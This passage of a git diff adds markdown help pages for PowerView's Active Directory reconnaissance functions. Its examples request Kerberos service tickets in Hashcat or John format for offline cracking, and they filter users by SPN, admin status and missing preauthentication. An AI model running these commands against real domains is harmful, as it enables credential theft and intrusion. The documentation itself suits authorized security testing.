"HTTP/web.testlab.local" +``` + +Request a kerberos service ticket for the specified SPN. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket +``` + +Request kerberos service tickets for all SPNs passed on the pipeline. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat +``` + +Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + +## PARAMETERS + +### -SPN +Specifies the service principal name to request the ticket for. + +```yaml +Type: String[] +Parameter Sets: RawSPN +Aliases: ServicePrincipalName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -User +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +```yaml +Type: Object[] +Parameter Sets: User +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -OutputFormat +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Format + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +### PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +## OUTPUTS + +### PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSite.md b/docs/Recon/Get-DomainSite.md new file mode 100755 index 00000000..caf77903 --- /dev/null +++ b/docs/Recon/Get-DomainSite.md @@ -0,0 +1,309 @@ +# Get-DomainSite + +## SYNOPSIS +Search for all sites or specific site objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainSite [[-Identity] ] [-GPLink ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all site objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSite +``` + +Returns the current sites in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSite *admin* -Domain testlab.local +``` + +Returns all sites with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all sites with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred + +## PARAMETERS + +### -Identity +An site name (e.g. +Test-Site), DistinguishedName (e.g. +CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. +c37726ef-2b64-4524-b85b-6a9700c234dd). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GPLink +Only return sites with the specified GUID in their gplink property. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GUID + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Site + +Custom PSObject with translated site property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSubnet.md b/docs/Recon/Get-DomainSubnet.md new file mode 100755 index 00000000..8cd82b1a --- /dev/null +++ b/docs/Recon/Get-DomainSubnet.md @@ -0,0 +1,309 @@ +# Get-DomainSubnet + +## SYNOPSIS +Search for all subnets or specific subnets objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainSubnet [[-Identity] ] [-SiteName ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all subnet objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSubnet +``` + +Returns the current subnets in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSubnet *admin* -Domain testlab.local +``` + +Returns all subnets with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all subnets with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred + +## PARAMETERS + +### -Identity +An subnet name (e.g. +'192.168.50.0/24'), DistinguishedName (e.g. +'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. +c37726ef-2b64-4524-b85b-6a9700c234dd). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SiteName +Only return subnets from the specified SiteName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Subnet + +Custom PSObject with translated subnet property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainTrust.md b/docs/Recon/Get-DomainTrust.md new file mode 100755 index 00000000..29af5770 --- /dev/null +++ b/docs/Recon/Get-DomainTrust.md @@ -0,0 +1,250 @@ +# Get-DomainTrust + +## SYNOPSIS +{{Fill in the Synopsis}} + +## SYNTAX + +### NET (Default) +``` +Get-DomainTrust [[-Domain] ] [-FindOne] +``` + +### API +``` +Get-DomainTrust [[-Domain] ] [-API] [-Server ] [-FindOne] +``` + +### LDAP +``` +Get-DomainTrust [[-Domain] ] [-LDAP] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -API +{{Fill API Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: API +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +{{Fill Credential Description}} + +```yaml +Type: PSCredential +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +{{Fill Domain Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 0 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -FindOne +{{Fill FindOne Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +{{Fill LDAP Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +{{Fill LDAPFilter Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +{{Fill Properties Description}} + +```yaml +Type: String[] +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +{{Fill ResultPageSize Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +{{Fill SearchScope Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: +Accepted values: Base, OneLevel, Subtree + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +{{Fill Server Description}} + +```yaml +Type: String +Parameter Sets: API, LDAP +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +{{Fill ServerTimeLimit Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +{{Fill Tombstone Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### System.String + + +## OUTPUTS + +### PowerView.DomainTrust.NET +PowerView.DomainTrust.LDAP +PowerView.DomainTrust.API + + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainTrustMapping.md b/docs/Recon/Get-DomainTrustMapping.md new file mode 100755 index 00000000..692f265c --- /dev/null +++ b/docs/Recon/Get-DomainTrustMapping.md @@ -0,0 +1,220 @@ +# Get-DomainTrustMapping + +## SYNOPSIS +{{Fill in the Synopsis}} + +## SYNTAX + +### NET (Default) +``` +Get-DomainTrustMapping +``` + +### API +``` +Get-DomainTrustMapping [-API] [-Server ] +``` + +### LDAP +``` +Get-DomainTrustMapping [-LDAP] [-LDAPFilter ] [-Properties ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -API +{{Fill API Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: API +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +{{Fill Credential Description}} + +```yaml +Type: PSCredential +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +{{Fill LDAP Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +{{Fill LDAPFilter Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +{{Fill Properties Description}} + +```yaml +Type: String[] +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +{{Fill ResultPageSize Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +{{Fill SearchScope Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: +Accepted values: Base, OneLevel, Subtree + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +{{Fill Server Description}} + +```yaml +Type: String +Parameter Sets: API, LDAP +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +{{Fill ServerTimeLimit Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +{{Fill Tombstone Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### None + + +## OUTPUTS + +### PowerView.DomainTrust.NET +PowerView.DomainTrust.LDAP +PowerView.DomainTrust.API + + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainUser.md b/docs/Recon/Get-DomainUser.md new file mode 100755 index 00000000..7247a1d2 --- /dev/null +++ b/docs/Recon/Get-DomainUser.md @@ -0,0 +1,426 @@ +# Get-DomainUser + +## SYNOPSIS +Return all users or specific user objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty + +## SYNTAX + +### AllowDelegation (Default) +``` +Get-DomainUser [[-Identity] ] [-SPN] [-AdminCount] [-AllowDelegation] [-KerberosPreuthNotRequired] + [-Domain ] [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +### DisallowDelegation +``` +Get-DomainUser [[-Identity] ] [-SPN] [-AdminCount] [-DisallowDelegation] [-KerberosPreuthNotRequired] + [-Domain ] [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all user objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUser -Domain testlab.local +``` + +Return all users for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" +``` + +Return the user with the given SID, as well as Administrator. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff +``` + +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation +``` + +Search the specified OU for privileged user (AdminCount = 1) that allow delegation + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon +``` + +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon + +### -------------------------- EXAMPLE 6 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +### -------------------------- EXAMPLE 7 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) + +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. +Also accepts DOMAIN\user format. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SPN +Switch. +Only return user objects with non-null service principal names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AdminCount +Switch. +Return users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AllowDelegation +Switch. +Return user accounts that are not marked as 'sensitive and not allowed for delegation' + +```yaml +Type: SwitchParameter +Parameter Sets: AllowDelegation +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisallowDelegation +Switch. +Return user accounts that are marked as 'sensitive and not allowed for delegation' + +```yaml +Type: SwitchParameter +Parameter Sets: DisallowDelegation +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -KerberosPreuthNotRequired +Switch. +Return user accounts with "Do not require Kerberos preauthentication" set. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +## OUTPUTS + +### PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainUserEvent.md b/docs/Recon/Get-DomainUserEvent.md new file mode 100755 index 00000000..c8449817 --- /dev/null +++ b/docs/Recon/Get-DomainUserEvent.md @@ -0,0 +1,144 @@ +# Get-DomainUserEvent + +## SYNOPSIS +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-DomainUserEvent [[-ComputerName] ] [-StartTime ] [-EndTime ] + [-MaxEvents ] [-Credential ] +``` + +## DESCRIPTION +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUserEvent +``` + +Return logon events on the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) +``` + +Return all logon events from the last 3 days from every domain 